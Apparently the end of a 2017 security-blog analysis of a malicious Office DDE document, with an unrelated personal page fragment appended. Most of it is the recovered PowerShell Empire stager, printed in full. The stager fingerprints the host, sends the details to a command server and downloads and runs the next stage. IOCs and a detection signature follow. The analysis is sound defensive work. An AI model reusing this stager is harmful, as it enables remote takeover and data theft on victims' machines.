FUnCTION StaRT-NEGotiAte{param($s,$SK,$UA="lol")Add-TYPE -aSSeMbLY SysTEM.SeCURITY;ADD-Type -AssEMBLY SyStem.CORE;$ErrorActionPreference = "SilentlyContinue";$e=[SySTEM.TeXT.EncODing]::ASCII;$AES=NEW-OBJECT SYsTEm.SecurITY.CrYPTogRApHy.AesCRyPtOSeRvIcEProviDer;$IV = [byTe] 0..255 | GEt-RaNdOM -cOUNT 16;$AES.Mode="CBC"; $AES.Key=$e.GetBytes($SK); $AES.IV = $IV;$CSP = NEw-ObJeCt SYstEm.SEcURiTy.CrYptogRapHy.CspParAmeteRs;$csp.FLAGs = $CSp.FLaGS -BOR [SysteM.SeCuriTy.CRYPtOGraPhY.CspPrOVIderFLAGs]::USeMAChinEKEyStORE;$Rs = NeW-OBjecT SYSteM.SEcuRiTY.CrYPtoGRaPhy.RSACRYptOSeRVICePROViDer -ARgumENtList 2048,$CsP;$rK=$rS.ToXMLSTRING($FAlSE);$r=1..16|ForEACH-OBjECt{GET-RAndom -MAX 26};$ID=('ABCDEFGHKLMNPRSTUVWXYZ123456789'[$r] -join '');$Ib=$E.GeTBYTes($RK);$eB=$IV+$AES.CREATeEncRYPTor().TrAnsFoRmFinalBlocK($IB,0,$Ib.LengTH);If(-nOT $Wc){$Wc=new-oBjECT SySTem.NET.WEBCLieNT;$wc.PrOXY = [SYSTem.NEt.WeBREQUEsT]::GeTSySteMWeBPROxY();$wc.ProXy.CREDentIaLS = [SYStem.NEt.CrEDenTiAlCacHe]::DEFAuLtCREdEnTIALS;}$wc.Headers.Add("User-Agent",$UA);$wc.Headers.Add("Cookie","SESSIONID=$ID");$raw=$wc.UploadData($s+"index.jsp","POST",$eb);$De=$e.GeTSTRING($rS.DeCRYPT($raw,$False));$epOCh=$DE[0..9] -joIn'';$key=$de[10..$De.Length] -JoiN '';$AES=New-ObjeCT System.SeCurItY.CRYPtOGRaPhy.AesCrYptOSerVicePRoviDEr;$IV = [bYtE] 0..255 | Get-RanDOM -cOUNt 16;$AES.Mode="CBC"; $AES.Key=$e.GetBytes($key); $AES.IV = $IV;$I=$S+'|'+[EnvIROnmENT]::UseRDOMAinNAMe+'|'+[ENViRONMEnT]::UsERNaMe+'|'+[EnVIRONMENt]::MACHineNAme;$p=(GWMi WIN32_NeTwoRkAdaptErCoNfIguRaTIoN|WHErE{$_.IPAddRESS}|SelECT -EXpAND IPAddRESs);$iP = @{$TruE=$p[0];$FALSe=$P}[$P.LengTh -Lt 6];if(!$Ip -or $IP.triM() -eq '') {$Ip='0.0.0.0'};$i+="|$ip";$I+='|'+(Get-WmiOBject Win32_OPerATIngSySTEm).Name.spLit('|')[0];if(([Environment]::UserName).ToLower() -eq "system"){$i+='|True'}else {$i += "|" +([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")}$N=[System.DiaGNostiCS.ProCEss]::GETCUrrEnTPrOceSS();$I+='|'+$n.PROCessName+'|'+$N.Id;$I += '|' + $PSVERSiONTaBLE.PSVerSIon.MaJOR;$ib2=$E.GeTbYtEs($I);$eB2=$IV+$AES.CREatEENCRYpTor().TransFOrmFinAlBloCK($ib2,0,$Ib2.LengTH);$wc.Headers.Add("User-Agent",$UA);$raw=$wc.UploadData($s+"index.php","POST",$eb2);$AES=NEw-ObjEct SYstem.SecuritY.CrYpTOGraPHY.AEsCrypToSErViCePROViDER;$AES.Mode="CBC";$IV = $raw[0..15];$AES.KEY=$e.GETByTES($KEy);$AES.IV = $IV;IEX $([SysTeM.TExT.ENcODINg]::ASCII.GeTStrinG( $($AES.CREAtEDECryPtoR().TRAnSFoRmFiNALBloCK($RAW[16..$RAW.LEngtH],0,$rAw.LENGtH-16))));$AES=$NUlL;$S2=$NULL;$wc=$NULl;$Eb2=$NULl;$raw=$nuLl;$IV=$NulL;$wc=$NulL;$i=$nulL;$iB2=$nUlL;[GC]::COlLECt();Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -SessionKey $key -SessionID $ID -Epoch $epoch;} Start-Negotiate -s "https://23.239.28[.]30:443/"; -SK '294aa01c70a8f958a016e582d0bd4ab9' -UA $u;
```

Looks like the final payload is [Empire](https://github.com/EmpireProject/Empire) which, when executed, will post back to that same Linode server. InQuest detects exploitation of these and other DDE attacks via our Deep File Inspection (DFI) stack and signature MC_Office_DDE_Command_Exec (event ID 5000728) released on October 10th, 2017. Our DFI stack is what's responsible for peeling away the variety of layers typically present in malicious content. The process is recursive and a variety of techniques are applied in parallel to expose all embedded layers. For more information about DFI, see [www.InQuest.net](http://www.inquest.net) or reach out to us directly.

# IOCs

* 23.239.28[.]30
* 54.158.67[.]5
* ec2-54-158-67-5.compute-1.amazonaws[.]com

Originally published 2017-10-13 on the InQuest blog.

Latest Venture: B2B

2015-10-15

I will seemingly never get around to updating this page. In the meanwhile if anyone is curious what I'm up to, this is it:

InQuest protects your users from the myriad of attacks of today and the evolving threats of tomorrow.
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